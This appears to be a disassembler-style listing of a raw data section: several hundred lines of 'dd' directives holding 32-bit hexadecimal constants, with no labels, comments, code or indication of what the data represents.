		dd 7EEC9034h, 0C707F4Ch, 9181ECB1h, 32326E1h, 1EA1024h
		dd 0C653D977h, 0E19AC83Ch, 82B89E72h, 34CD32C2h, 60586266h
		dd 24D637CCh, 1008064h,	96ACF19Ah, 50A0C8C7h, 24F5800h
		dd 0DD532235h, 3C2E3992h, 0B320DC00h, 0EAA00D96h, 59045500h
		dd 2862BEA6h, 0C350052Bh, 0C0F391BAh, 0C54A3A2Ch, 4E5C8898h
		dd 70CD0011h, 3259FD2Ah, 0A84903A5h, 41C4D324h,	0C2F62CC8h
		dd 94F08D00h, 0FA0C1E25h, 4A930013h, 0ED4B37FFh, 89000418h
		dd 724CA82Dh, 25067C68h, 0BC0071ECh, 5AB1586Ah,	1CCC1E18h
		dd 18341A9Ah, 2952C432h, 9D00B1AAh, 795FE2C9h, 92D145h
		dd 0BEB255A4h, 7CA8D0D9h, 59AD0103h, 0C43DD7A7h, 11286CC0h
		dd 0CD2C0057h, 0B4ACB091h, 0E702564Fh, 108EBE6h, 76B05817h
		dd 787D0021h, 755F84A1h, 0E201705Bh, 0ABEDAEEh,	0AAE0476Ah
		dd 0FB0500E9h, 7DBC4ABDh, 3800CD9Ah, 14512030h,	1D4A3B6h
		dd 0EB312925h, 40D207A5h, 76C817CCh, 0E0742170h, 60C0A27Ah
		dd 0A9D9ADCFh, 932A0BBDh, 0A4805D3Dh, 7A0E0901h, 5715B102h
		dd 48C64475h, 158F1E8h,	0CDC3F71Dh, 70AF82E5h, 7B2FB8D8h
		dd 4FA7839h, 119EFFEEh,	22109099h, 7801442Dh, 0EC3AB50h
		dd 0A1C8CD8Eh, 0F61892B3h, 2AF61F38h, 745606h, 8B70D16Ch
		dd 34483625h, 0A2601104h, 2420BF25h, 0EFA3E671h, 0D5735BB0h
		dd 0FEF633FCh, 0E9A054B0h, 0B304A462h, 74A64AC3h, 33C24A0h
		dd 0B916DB7Ah, 7AF0D17h, 4B28E089h, 2A00F95Eh, 1CE7615Ah
		dd 0B0C5F4B4h, 0A08600B8h, 724376F5h, 2900D2CFh, 8AA5C28Dh
		dd 3C64BF36h, 17B6165h,	0F01BA03Fh, 201DC4DEh, 380047CCh
		dd 0FA6BF8AAh, 3BD885D5h, 3D3DA437h, 43985406h,	0E001140h
		dd 0B9299AAAh, 0B132025h, 9209F1B6h, 618104A0h,	0C700BE9Ch
		dd 67C12528h, 60DC2F62h, 0D795E6CAh, 120ECF11h,	2091962Ah
		dd 7FA0AC0h, 0DFC23942h, 6480D03Ah, 0F0516ED2h,	70EC8C6Dh
		dd 540CE600h, 0CB25261Ch, 0B99D0403h, 84725BDBh, 5C85DFh
		dd 89E7CF95h, 50495DEh,	7A7158A4h, 3E599C80h, 5EFC0004h
		dd 0F411EA7h, 0C3008CD8h, 0C96B4A36h, 36C30E5h,	0A9722653h
		dd 6AC95146h, 0B984206Eh, 810148E4h, 0EBDF5CDDh, 0BC44338Ah
		dd 29B8C8C9h, 6D871ABDh, 50EC625Ch, 60FEDA40h, 3A9F6AC7h
		dd 33690BC0h, 5ED70029h, 0CF1DF7AFh, 5F07F1B7h,	0EF65BA63h
		dd 12E56C31h, 44AA460h,	41C6D9BDh, 0DF90C0AEh, 1900CED0h
		dd 0A9BE4E1Dh, 48E17CB0h, 7E0044A0h, 0DFFA0124h, 530010E0h
		dd 6F546164h, 787A23Bh,	86132860h, 1C8911Ah, 4B39C058h
		dd 21AB9C05h, 28C0ACBDh, 552532h, 0D0A4547Fh, 3C2FD205h
		dd 1E4DA607h, 0C93D1CBh, 0F885F804h, 0C17DE3h, 2944150Fh
		dd 64C4937Eh, 6C0D0700h, 0B52C6B30h, 2F191246h,	39801D3h
		dd 24205AC2h, 17008384h, 16CD217Dh, 13C760h, 2DD7B684h
		dd 0F7061574h, 8A948B07h, 73F46B53h, 0FCB7B080h, 4DDA4836h
		dd 4F079200h, 0EADDF911h, 87C67E39h, 0E40F3F88h, 162A83h
		dd 0F6DA7A50h, 4A45AE85h, 0F103917Bh, 66D6CF1Ch, 9631C171h
		dd 84A7D8h, 258C3D6Bh, 0CB1498DBh, 7AB1100h, 0F77216B6h
		dd 0D20F023Ch, 9154A458h, 3480A143h, 0EB01B153h, 7DC07650h
		dd 98E30D88h, 3A7FB5Bh,	0EA1E0F7Ah, 0E190D313h,	0EFF64882h
		dd 2C6C5605h, 2D81E01Ch, 760BD29h, 39023891h, 0FC0060D8h
		dd 7CAC2F58h, 5F01AAAEh, 0C0E52B11h, 0FBDDF295h, 1CDCC1F4h
		dd 0C061506Fh, 0EF72F437h, 316B75B7h, 88008310h, 7C1A802Eh
		dd 9AA02EF0h, 714104F8h, 66C4F4C7h, 0CE6F8600h,	2BD82147h
		dd 8D4900B2h, 0EA9B95A3h
		dd 0E900CB33h, 0D76E3C25h, 0F32EDCh, 0A44B40BDh, 0A82402DDh
		dd 0DAE96D00h, 59116455h, 0C1E20721h, 0F7709BD1h, 165C401Bh
		dd 66E4ADD0h, 0CCAAC900h, 0B2F11277h, 357C52h, 0A5450678h
		dd 34C4BA93h, 0ECEF3Ah,	86A763BDh, 7F4A2D7h, 0F9315B16h
		dd 6056C0A5h, 0A900A117h, 0E5659061h, 509CCB81h, 4BB89C3Ah
		dd 0C2800044h, 0D1D4ACFh, 0B1ED4C01h, 287703B6h, 484E0h
		dd 0CD93E55Ch, 4210D10Fh, 954D9200h, 8F907D5h, 7C8B012Bh
		dd 17FCE1BCh, 0C59C409Ch, 0C083F58Ah, 0B8734710h, 0F162E28h
		dd 0D2FB03BFh, 0B7B8BD9Dh, 960F44FEh, 73914366h, 281A800h
		dd 3CA95Bh, 0E3235241h,	6F214C37h, 283FD300h, 0C1758E73h
		dd 871901EEh, 2DB254A6h, 84F0EBB3h, 56074B92h, 0B05B854Eh
		dd 0E3603930h, 13E8B0D5h, 65464h, 82AFDDF0h, 0D900C4F7h
		dd 0E04474BEh, 4ED592h,	57192362h, 0DC7B8540h, 0C818AB07h
		dd 15A113ADh, 61DA49BFh, 3460B690h, 21030373h, 0ABEA8A92h
		dd 2F42E3F8h, 0C2C08F00h, 0FC6AA17Ch, 4A4F0091h, 66581B3Bh
		dd 650797D8h, 7B6F8A84h, 6D0AFF80h, 92B00275h, 0ED3D3B2Dh
		dd 20F60460h, 3CE10300h, 420EC0CBh, 25331E0Bh, 65F9404Ah
		dd 0C9F781E3h, 7ABAF805h, 14906F72h, 15BE32h, 6A8AE7EDh
		dd 5B1BE1C2h, 2C12CD00h, 90859D88h, 0B9AB0003h,	6E167EECh
		dd 4207EA3Dh, 78DA9B5Fh, 98E0D7F5h, 2D7701BBh, 5D44D943h
		dd 5CE8EEB4h, 5004EF5h,	0A4D78030h, 90DFE8ADh, 0DCBD58E5h
		dd 0E2C8AB07h, 0E25F4755h, 0E8C83003h, 20A057B3h, 0CE0E9642h
		dd 876644C7h, 2A5023DAh, 779E108h, 0A99C43B3h, 12608F05h
		dd 0BBE2F0ABh, 0E1C9EF31h, 388146D9h, 0A3E804Ah, 6E198316h
		dd 0C8AB9E2Fh, 3D2A4945h, 0CE078AB3h, 0ECFEACBCh, 50A5AD89h
		dd 0C03FB580h, 91F77C5h, 3CE96168h, 7BE04D80h, 54004E53h
		dd 0EF41C143h, 26588C50h, 1FA1C84Ah, 0DFEEC008h, 0E33EAE71h
		dd 2724E4F4h, 9032761h,	68F46B63h, 5704F860h, 0E1DF43E0h
		dd 80F58F75h, 29DD3654h, 0D01B738h, 0EDE22498h,	1DF05846h
		dd 8F18C02Dh, 7B379F30h, 0BCF0A373h, 3657E306h,	10515Fh
		dd 0EC2C0893h, 54B8E44Ch, 0FD1E3E03h, 249023Ah,	87555A68h
		dd 3640B1A9h, 7E003F50h, 77F728B5h, 86C57Bh, 0FA591AB9h
		dd 0B307F82h, 27677C06h, 18606FAFh, 0B1E2CC03h,	8303295Ah
		dd 0F0BFB0C6h, 0A0609F46h, 0E67E6F0Dh, 0F2A007Fh, 0C1BE8749h
		dd 570CD3D4h, 0C8123726h, 0DDC73003h, 8A5AE349h, 70FBA030h
		dd 2A3C57EBh, 308C8FEFh, 7F29D46Ah, 4105D233h, 0E334EBF3h
		dd 0E18F810Eh, 7C9A4FCEh, 0DECC4182h, 8808B38h,	55F7C54Dh
		dd 0E529F003h, 0E0DE10B7h, 2B95B05h, 667DD3B8h,	0B0A12087h
		dd 0CC9EC8B6h, 0DF7DA597h, 9FE2E105h, 0A0400E3Ah, 542BBCB5h
		dd 7303007Bh, 0D1256BF7h, 6A30BFCDh, 0C0A6A9D3h, 945F0EBEh
		dd 0BB8020A5h, 0F234F64Dh, 0D851B100h, 0EE990E98h, 0AA2E3059h
		dd 5AFA5090h, 0C039D437h, 11309EC1h, 0C05B3AF0h, 54EB5579h
		dd 470CAE29h, 191B35D6h, 6642056Fh, 0AA6BF27h, 6FC881D0h
		dd 838F3287h, 1001EFADh, 1336D35Ah, 0A887B9D5h,	4E7001DBh
		dd 0EBBBB6E0h, 767CE191h, 520688A0h, 79ED50C5h,	5A0DC447h
		dd 129839B6h, 46DBBh, 2D64AE22h, 18C5017Bh, 2CC08A4Eh
		dd 3C660B2Fh, 92145B50h, 0F006C48Dh, 28476259h,	0A36FB100h
		dd 64BEB5B9h, 7B72000Dh, 0D8C2DD6Bh, 0EC004102h, 0D98FB0EFh
		dd 3C235603h, 49007FF5h, 4B3FA96Eh, 3BF2B248h, 77C3E21Fh
		dd 3580E540h, 2F277Ch, 329FACD4h, 7D4A7B0Bh, 330488F8h
		dd 8C47EE1Ah, 0ABC0CC9Ah, 0DD2D4A20h, 916615Ch,	21CDE76Ah
		dd 0ACB28680h, 1E979440h, 0B4F25026h, 8AE43FDFh, 122141E0h
		dd 0AB18A340h, 5059E227h, 76C228F2h, 8407488Ch,	4DC61276h
		dd 5AF800D5h, 62956821h, 60AC7E5Ch, 0D8B67860h,	6A931238h
		dd 491400DBh, 588907EBh, 0D39E30C3h, 0EE7005DCh, 0ACD701h
		dd 7F08D4B4h, 1CA637C7h, 5888F102h, 400A3227h, 2AF24E24h
		dd 1EDCFD94h, 43BDA993h, 4884E373h, 2E74C900h, 5E03910Dh
		dd 2A830032h, 0C682B381h, 0F8C38BDAh, 0A0E1B029h, 0F18DE4D3h
		dd 5DED3980h, 0D0D99744h, 857E890Fh, 478D4031h,	9084F7Bh
		dd 0AB2C59F5h, 75AF8400h, 0C0A4375Dh, 8B40107h,	0AD1059C7h
		dd 0DF4962DBh, 0B8185808h, 800BBABh, 0DE813943h, 2D1B6D7h
		dd 0E5959EC3h, 0D4A73853h, 548210DFh, 0E7000149h, 5BBBC568h
		dd 19A92F97h, 780FB3D9h, 8B5185Ch, 5159C408h, 1905C2h
		dd 0B608BCACh, 0FB9FCA00h, 63254F1Ch, 0E8F2240Dh, 409E44E8h
		dd 36EF6DC4h, 4F7530B8h, 0E8A0CB49h, 0CD9021FFh, 788104FAh
		dd 0B848EDC8h, 0F7CA1CA3h, 0CC4C7C0h, 81C360Ah,	88214060h
		dd 7389F7D2h, 2BB400A1h, 0DABA3E2Ch, 4F01BF3Bh,	0BE09CADFh
		dd 90B01121h, 431BD778h, 0FC5B7615h, 53913A0h, 0BDB72440h
		dd 1B9DEEEh, 0C93DB876h, 0E4D52D35h, 0BB16D3FCh, 44049AC0h
		dd 0E0002B0Ch, 2CC3A1C8h, 4E160C7h, 0A0520185h,	6BBEAC03h
		dd 7F1100E3h, 5885D8B2h, 4D3D2965h, 8E08E060h, 74378B8h
		dd 0F8D8BA1Dh, 513AF076h, 2E619E5Ch, 0B4F1258h,	0AC003C33h
		dd 3BB90590h, 5C078BF5h, 57206BB2h, 0F8C2C183h,	2A10B0Ch
		dd 9806B351h, 846AFAECh, 620A6066h, 0E430D043h,	9C15E180h
		dd 68EABA2h, 0F6EC7BAFh, 724D0887h, 52B60200h, 0C0229FA2h
		dd 7641334h, 1149CFC6h,	0C4622F2h, 74067C65h, 2AC117A4h
		dd 809025D4h, 1CEB784h,	59C0EBCBh, 407BE28Ah, 0B337C4FCh
		dd 90A38512h, 75FED407h, 36D603C8h, 8826427Ch, 0ACC0C0D1h
		dd 0C0E019EDh, 1DBB8058h, 0E800CCE9h, 5BCAF60Ch, 0E7632h
		dd 0CFA7D1C6h, 9E89FA06h, 0A48D948h, 0BCB63782h, 9B17DF00h
		dd 24E45974h, 42F46F84h, 104BEB5Eh, 0D431822h, 7A6BD653h
		dd 0D3F80211h, 48DB3722h, 0FB8B9Ch, 48153E35h, 0BE980C51h
		dd 25CF049h, 4C1E0F2h, 7820E4CEh, 0EFE0A0BFh, 0CC56306Ch
		dd 0D023EB29h, 249BE124h, 9E80BA11h, 0C55881D8h, 2188448Ch
		dd 7FD8C605h, 8B81C9B3h, 0ABE461AFh, 0BC452C50h, 0F426C254h
		dd 6091C0C0h, 0E2051278h, 3086829Ah, 6C215C89h,	0D711E051h
		dd 19868180h, 0ACC984A2h, 74DF6330h, 39F75774h,	0DB126C3Ah
		dd 59D803CCh, 68482F1Eh, 1E8C772Ch, 88CB08C0h, 0DE65A7B9h
		dd 8777B841h, 69D4F008h, 9FB300E9h, 0F354CB03h,	0F774EDh
		dd 0ECFD05E2h, 7EC9070Dh, 0A08E4047h, 8902F50Fh, 6365901Fh
		dd 2072B60Bh, 465C741Ch, 0B180C476h, 3185EC55h,	9A5AA038h
		dd 0F88082F5h, 8B2AC7E4h, 10C08016h, 9F26E05Bh,	4404BA6Eh
		dd 7900714Ah, 0BE357C3Ch, 0DC2785h, 0DEC7EB8h, 0EDBBC10Ah
		dd 0B4245700h, 2CB55DE2h, 0A95913E6h, 0E3701F13h, 0B304CC2Ch
		dd 70D8ECCAh, 8DE0401Eh, 39F7CD1Ch, 0D520F841h,	0C0E6F5F6h
		dd 2E7DB090h, 52787576h, 60BB1884h, 2384D8B3h, 8311BD58h
		dd 0D8BB1E03h, 90E0B5CEh, 0CA1CF739h, 0DCA4DAE4h, 10607309h
		dd 25925A84h, 3001B0F6h, 4806A259h, 48C56F0h, 59C208B3h
		dd 20EA6261h, 6008BA76h, 3201D073h, 0F0312892h,	46C807F1h
		dd 9A5D187Ah, 0C6CED844h, 0F0D88930h, 49FAE1B3h, 91004856h
		dd 2049B167h, 0DC94445Bh, 8438BF01h, 6462AEBDh,	0C18DEF1h
		dd 0DA8E0035h, 59A0AF97h, 0E37909A4h, 0A8C5BE1Ah, 30E680h
		dd 0AB97F1A5h, 2F5DEB55h
		dd 26611B00h, 169846C2h, 159C90C1h, 0C8EE0A4Bh,	9D048C72h
		dd 0AD587ED8h, 1C07E08Eh, 209BD8C5h, 641896BEh,	0EE25D301h
		dd 74E25E55h, 6EF08089h, 82162020h, 5388660h, 7B1580D0h
		dd 910CC064h, 0C11F005Ah, 0DC3655E2h, 0FC9A3826h, 8607CE46h
		dd 748E9DA2h, 2071327Ch, 24A25E4Ch, 0C444230Eh,	4763C0BDh
		dd 6CF0067Eh, 0ECE08809h, 0CD436F14h, 0A283802Ch, 43B78EB4h
		dd 7C227Bh, 65A25B4Bh, 0B9D403AEh, 719AAF01h, 5E0B9CF7h
		dd 15B9820h, 4C1FCF2Dh,	200F3FA4h, 5405B934h, 0F682628Eh
		dd 9D619CC1h, 2C4FC6ECh, 2CE43EFAh, 43A8C20h, 0D0000F89h
		dd 938C86ABh, 0D45EB7h,	26A510A1h, 0AE87667Bh, 6E8C1650h
		dd 0B869241Dh, 409FC202h, 0E270434Eh, 0C464E8AEh, 0E0DA546Bh
		dd 7E030EE7h, 0A7002409h, 905A8198h, 509E1E3Eh,	4090C6F8h
		dd 0E395C207h, 30A37007h, 40916A0Ah, 6BA509ECh,	334CE868h
		dd 92096C00h, 12FDD22h,	0D8CC039Dh, 82179C27h, 50909F91h
		dd 45216BA0h, 43910A01h, 0F1084FBDh, 49111834h,	0A23C208Dh
		dd 0B0061380h, 46D39162h, 0F726FE3Ch, 64DB2A00h, 5B3B8977h
		dd 90D04937h, 96212F0Fh, 67A3DD60h, 0D3183A03h,	0F551906Ah
		dd 4E560FB1h, 6EA3241Ah, 3280B6E4h, 2C03E145h, 0BDB3C7C3h
		dd 12907753h, 3AD5DCCAh, 0E802308h, 0C6C0C319h,	79EFE88h
		dd 0DD9CE404h, 0E8C5CFBAh, 0A6C56408h, 47282C08h, 0F92BA758h
		dd 0F8E88C00h, 0E4EEC8CCh, 0CCC11028h, 0E0DAE224h, 0FA7EBD00h
		dd 0E9D3C09Ah, 18503C72h, 1C89BBCh, 0CAB4F7C6h,	881B1864h
		dd 0F71DCE8Ch, 0CBC0CC35h, 2611DD90h, 992D643Fh, 0D68630CDh
		dd 0FE18C013h, 4C6D0E3h, 9CF7430h, 1BFA0C9h, 0FBC8C09Bh
		dd 48C7DF91h, 0F708C944h, 0C6CCCABFh, 89002141h, 0EDCFF7D1h
		dd 2AD55C69h, 0F6D8926Ah, 417B2699h, 0E7DF000Eh, 224E2857h
		dd 32712B00h, 0E6330A86h, 39D11553h, 0CE00D00Ch, 0A9A26AF5h
		dd 9206D760h, 0C1BDE955h, 4FCF00A0h, 73299E3Ch,	885120AAh
		dd 29D062A0h, 40595C8Fh, 11C3A18h, 0A600CA3Eh, 0BAF0DE4Ah
		dd 70322566h, 80114C17h, 0F600F58Bh, 0C59ED56Bh, 203AD425h
		dd 675093E8h, 87D70195h, 1375528Dh, 0DB663008h,	0A0CAD100h
		dd 9A59733Bh, 0D0FD6F49h, 0BDE86DA0h, 2C1BD588h, 2819618Bh
		dd 46D47551h, 0F7C402C6h, 31B4CAB2h, 0CC861042h, 408C00F7h
		dd 4F98DC88h, 0EE7D9CB5h, 0F35B21C0h, 1E53273Dh, 0C0AD1EEAh
		dd 95B0454Fh, 9C1FCD99h, 15816064h, 8A35D649h, 97379ACh
		dd 0B404981Ah, 0A27F60D1h, 578E23A0h, 0F87B7E11h, 97CB00A2h
		dd 0BD6A4FD4h, 0D8641EEEh, 8160CF48h, 8E23AAA2h, 711187h
		dd 0A3A253B5h, 0AB9EB2h, 1483FDDDh, 0BDEFE898h,	5084014Ch
		dd 4E40EBCCh, 66C6168Dh, 0D6180F57h, 9F882053h,	4409ACAAh
		dd 9A96A81h, 449C4760h,	0B1F06783h, 0B9D308h, 39CBF667h
		dd 450A4DB0h, 0CAB880C0h, 2659611h, 0EBBDD6Bh, 0ECCB75F8h
		dd 2C1E38E9h, 64EE0434h, 44823D67h, 208231D2h, 7F538E8Fh
		dd 5A588188h, 16C4E7A2h, 4A8A011Dh, 0EEC20937h,	231C23AEh
		dd 0F7C701B1h, 731CCABDh, 0CF8380FCh, 0DF9EF7h,	0C26BDA61h
		dd 0F0ED0133h, 0D89A4828h, 8002CC46h, 8F8E9FA2h, 4A107D31h
		dd 1D0EA258h, 229B24C8h, 40D0968Eh, 55F46BCh, 5B74B209h
		dd 82089551h, 0BF3052E8h, 59C60808h, 0A258AD41h, 0CA0801A6h
		dd 5683D084h, 3BA460DEh, 0C92A7B00h, 0CD0503A8h, 0C7F0AA1Dh
		dd 638A4488h, 0A8D3B074h, 77939D6h, 7211F009h, 8B816463h
		dd 76D42465h, 0D4AD6214h, 825B04E4h, 58A49016h,	74483Ah
		dd 2F6FA113h, 7F2334h, 60F71B26h, 0A409FFFCh, 0E10B7E62h
		dd 0A0427804h, 0C450247Ch, 4688C798h, 3478085Eh, 0C0A5F8C8h
		dd 589AD8A9h, 8C228D46h, 0D8B12002h, 82BB2E34h,	4004A4D8h
		dd 30B7C8ACh, 0CCF14D89h, 0E75C6E09h, 762B1554h, 18723B0h
		dd 5880D89Fh, 888D189Dh, 0C083C722h, 175A9E8Bh,	0B3A3FFh
		dd 0C9FABC84h, 3499A061h, 6860B4D3h, 382A9517h,	0AD608CD9h
		dd 3713B4B2h, 0DB7904F9h, 0C3CF93A5h, 5AB866C4h, 1C98AD09h
		dd 9715720h, 0FB25C017h, 0FAA860E9h, 0C904D8E4h, 6D96D536h
		dd 61BD2CD0h, 0C656013Fh, 5C7335CFh, 23682381h,	8C10058h
		dd 0A7B159C8h, 78E94486h, 7C088800h, 0AE6B67EFh, 0F98A60E3h
		dd 5966F075h, 801AFA2Ch, 65BAE489h, 6088C4B8h, 395A36h
		dd 0CB01260Eh, 0E1C93CF6h, 6AC6CC19h, 5183E0D1h, 4D90E3CEh
		dd 0F8CA8128h, 9F0714B6h, 1F1BE0EEh, 0E018084Ch, 39340160h
		dd 0DF98C0B7h, 0CFD87E3Bh, 1E91030Eh, 900073D2h, 0FE04C1C9h
		dd 92590B68h, 94227AA6h, 0A8A5DE9Eh, 0C0CF439h,	0C19F5000h
		dd 72F34201h, 34961890h, 0FC3949D9h, 49BAD897h,	10B82870h
		dd 77D5BE02h, 40A9764Dh, 0B6F7010h, 1121753Ah, 31F38090h
		dd 73D4A400h, 0E7F2B3F9h, 0A6181D9Ch, 27BD813Eh, 2D98CDA3h
		dd 96B30A0h, 540243h, 0F67721D1h, 61CA860Ah, 0D3AD1900h
		dd 38554CB0h, 8BF1C0DAh, 0BFA5A220h, 0BCB6009h,	91F09DAFh
		dd 74BC821Dh, 0B07162h,	39D8DEFAh, 2D08660Bh, 9110AEB8h
		dd 4BB9253h, 0D8495913h, 0A188FBC8h, 970800A5h,	0A47A5545h
		dd 0C4B403FFh, 0C982FA09h, 2DD901E0h, 50673901h, 6F470B4h
		dd 5DD04F00h, 0DCCB9831h, 0EABBF45Bh, 9F4D149Bh, 0B80986Ah
		dd 0C58CE54Ch, 860904F6h, 0C4E0365Ah, 73509934h, 8DA860DCh
		dd 0B3C3009Bh, 88CA824Fh, 72025694h, 375952CBh,	7E4E20DAh
		dd 8B07B2ADh, 0E3BE62D4h, 9400695Dh, 0BE5B3C8h,	832957EDh
		dd 2CB1CCC4h, 761887D1h, 0EDF8B30Eh, 6F25A41Eh,	0E818E0h
		dd 0A6B24FF0h, 0E5A9BEF9h, 0CFA1CA0Bh, 0C846923h, 0F7006878h
		dd 0EDA588CDh, 6500FC25h, 5435F93h, 607A0D66h, 0F9B83048h
		dd 0FCA0D69Eh, 0CD24A0F2h, 0F041F8F6h, 80384601h, 0CA93380Ch
		dd 0EC044929h, 361E98D9h, 65DFB090h, 0D2590248h, 5126354Fh
		dd 540070D8h, 3B2C8E5Eh, 2BD8D3B7h, 11CA0C7h, 80D25366h
		dd 25C2825h, 8B58BE82h,	31BC60EFh, 209B4EC1h, 0BBFBF118h
		dd 79CFBD00h, 0C114F84Fh, 0B6761E3Ah, 0AEC8090Dh, 0E9915817h
		dd 0EDE4C380h, 0C23A9D8Ah, 502783BCh, 2DC0835Bh, 849786D0h
		dd 23808D91h, 0F06BD2C7h, 0DF84A0Bh, 11409D49h,	1FD8E8Dh
		dd 31F68F4Bh, 138A8A6h,	0A0EF3B4Fh, 0B83868B0h,	3018CEAh
		dd 9BD2ED06h, 0CC32EE64h, 8FFF5100h, 12A5132Bh,	345C5800h
		dd 0C0F821Eh, 3C0EEE27h, 0C6099642h, 6C038A81h,	0B99F8658h
		dd 0CE35B448h, 8B3AA0CBh, 0ECEF87h, 95F1EC59h, 0BCEAE84Ch
		dd 9F8E6E39h, 0B6005BB8h, 0BB5562ADh, 43611FC4h, 0B5494315h
		dd 0FE00B813h, 956A6816h, 7927B0CBh, 75CC06E8h,	0E9EC38E3h
		dd 0D3017900h, 0EB1D6CEFh, 3B2A0A5Dh, 0E8C769h,	99312E73h
		dd 0E349561Eh, 0E661244h, 113BA404h, 0CF5CA018h, 390C702h
		dd 68098B29h, 0BA3E8A94h, 0A390A0ECh, 0F43695AEh, 200EFB45h
		dd 8BABFE11h, 0BE1897AEh, 859900C6h, 0C4FF1615h, 5EE89CF4h
		dd 82E01821h, 215B6B72h, 0A892C0C0h, 232F9D81h,	5823BE74h
		dd 0F7C80FB2h, 0E214CA84h, 0D082C0B8h, 7905CF7h, 0E0601898h
		dd 0F130A08Ch, 0D09A0835h, 0E92C7607h, 0A1099DEh, 0BE44E8h
		dd 0D09BC373h, 4B825F0Eh, 54D0114Bh, 0AD80D1h, 8FC7C0BFh
		dd 0A5C1CB08h, 18406B5Ah, 0D2F3E040h, 17531FD8h, 848A4049h
		dd 20FF2AC6h, 4459510Bh
		dd 0E988E8B5h, 21803BBEh, 90CAD307h, 40C137D2h,	8F405A43h
		dd 0A50F14B2h, 0A012BD59h, 8892D679h, 0D0565274h, 9BBFB400h
		dd 728259C7h, 665F70B2h, 6DAF7422h, 0FD4CC048h,	3B125370h
		dd 9C208ACDh, 284D7A52h, 5FC840E6h, 0B2A035BDh,	30FCF284h
		dd 1B7ABC75h, 761BE06h,	44709CA6h, 54254A4Dh, 50F001DAh
		dd 0CCCC633Ch, 130C79F6h, 3A476F69h, 3842368h, 5999EF0Fh
		dd 0AA3AADE8h, 0B960C200h, 90A7129Bh, 57EB1355h, 6F9C00D3h
		dd 7B77F6C3h, 0A4121A73h, 50E2AE17h, 5D30E9E2h,	4A00044h
		dd 155FB08Fh, 0E4B67370h, 4B84661Ch, 0CC8259B5h, 192CD27Ch
		dd 117E8250h, 8EB2DC66h, 0E2A21E25h, 8AE00730h,	520F3C6h
		dd 0AB2655E9h, 4CC12AAh, 13D969D4h, 8ADD200Eh, 58838093h
		dd 0CF8EF36h, 89039728h, 0F4400E48h, 8B9F177Ah,	0FB2856E1h
		dd 0DC9A0E12h, 21854FC7h, 828312FAh, 133575A1h,	0BE322073h
		dd 423499F9h, 0F0A820B2h, 0ECED78C9h, 605655C2h, 3B34D8h
		dd 7E6A0CA7h, 5FB9DD6Bh, 305B0E0Fh, 0C9D84CBDh,	8EAA00D6h
		dd 7F56D925h, 7894C880h, 0E2847B02h, 5E2454BCh,	0A1048D46h
		dd 0A8D452F5h, 61BD8054h, 975488C4h, 2C441018h,	3E0F1321h
		dd 14235327h, 0F94C83E4h, 0ABC48ACh, 0D08C9E8Ah, 50065489h
		dd 0CF5024DCh, 70561FC0h, 0D3B28211h, 0FE20A29Dh, 0A82B0415h
		dd 0C55A89E8h, 618CE490h, 0E841A81Ch, 91007B1Ah, 0D507E9A0h
		dd 1DC526D6h, 8062DE52h, 0A5C788A0h, 0CCF8C0AAh, 0FA5BA1E1h
		dd 39DC2613h, 36614C70h, 25547380h, 3060E206h, 0F080E018h
		dd 5F143BB1h, 12B44D81h, 0ECC5C93Eh, 0A8009D47h, 0A795CB4Ah
		dd 3C55D3D4h, 40E1FF36h, 0FC6DC26Eh, 597ACAD0h,	0C968166Fh
		dd 9A451CCh, 5497AED2h,	0D480E091h, 0AE1ACA8Eh,	6F005473h
		dd 593D4FBFh, 956736E0h, 0E2B29080h, 1BEE0F57h,	0AD92BA12h
		dd 0D07C84B1h, 5296AF1Eh, 0C4108BEFh, 0C9311906h, 4E2C26B1h
		dd 8C77A82Fh, 76719A02h, 0B1557B90h, 0AB1419BCh, 7CF9A900h
		dd 7DD0D9h, 0C2352715h,	0CCF2C653h, 0E34A3F76h,	7609D030h
		dd 64898202h, 0ECF79104h, 263458F0h, 8F96004Ah,	4523DC2Fh
		dd 3ED91900h, 0A3AC15E3h, 835FA885h, 958E7785h,	0B01E90B8h
		dd 96E12203h, 3E17EE80h, 0EF4849D1h, 0A4534E00h, 5D95E3E5h
		dd 5EB400BDh, 70F068h, 0ACC93638h, 91268A0Ch, 5D94CD02h
		dd 7CB95B55h, 64567A6Ch, 0DF40215Eh, 42208680h,	0E2ABB092h
		dd 0A3DE1D32h, 0EF050966h, 2937E0C9h, 0C5771E20h, 0A8CA984Ch
		dd 122FFBA1h, 0C65C0F28h, 4669F9CFh, 8E11E81Dh,	82E8A480h
		dd 2C13A89Bh, 94127FF7h, 5A8E1460h, 0E6E0431h, 0E8985F33h
		dd 29FD01ACh, 12EDB61Fh, 2A25B050h, 0F221263Ch,	7E440054h
		dd 5C51E51Bh, 0B3EE8E09h, 0ADBCD38Bh, 0CE00B4B5h, 0B7B61841h
		dd 2894001Dh, 3FAB9FB2h, 0F05C4322h, 1440D440h,	0B8CCE0ECh
		dd 43018C41h, 0F521BA01h, 0A450D56Ah, 72CE5F0h,	0BDF78919h
		dd 0DC3D5092h, 6C905D55h, 0AE7BF62Dh, 9404C940h, 0B08E06B4h
		dd 0F8791E4Dh, 71C35C90h, 0F40D237Eh, 0A63F0CC0h, 0FC3748F1h
		dd 0B4E83A8Bh, 6EDC961Ch, 5AE0F0C6h, 94809721h,	436862EBh
		dd 65A0C025h, 6072E434h, 42E3F60h, 0B5C083CBh, 81B1C404h
		dd 207A3698h, 9A13D404h, 0C880D52Ah, 8498CD68h,	5C577426h
		dd 0E552884Ah, 601D64F8h, 592C7A0Eh, 0BC0260CBh, 825442BBh
		dd 0C5B35CC9h, 94F87064h, 618E3627h, 3B3E9098h,	0E01E1094h
		dd 0CCC0B8CEh, 67618FFCh, 0E5703225h, 607EC408h, 1449E722h
		dd 9C6A8CD8h, 0F8119F79h, 0E8013F8Ah, 0F1B23EBh, 2D8166Ah
		dd 9D563C7h, 4508949Dh,	0FC8460DFh, 0B2047349h,	0A4C0616Eh
		dd 402FE04h, 30888FE4h,	742300EDh, 0CD9F71DBh, 0E2674D89h
		dd 31DB5719h, 880E1684h, 0D46AC1FBh, 80882C20h,	24F5AE9Bh
		dd 69EEE2Bh, 0EEC822BCh, 0FA0F914Ch, 44BA58C7h,	0E4B9CB43h
		dd 70F25502h, 98C0761Ch, 0E313BBE1h, 0D89035D3h, 25BDDC90h
		dd 0FCC48EB3h, 0BE101D0Ah, 215EFC91h, 0A580DF3Fh, 0EE213852h
		dd 0D38324ADh, 11CC6070h, 0F09904A6h, 50C4F3C9h, 3500F20Fh
		dd 8E42AD27h, 1B94E16h,	0F1263D67h, 40E0B29h, 61A238C2h
		dd 0A018A8DCh, 589BD81Dh, 1F70C4EEh, 85D800C8h,	66BF8B4Ch
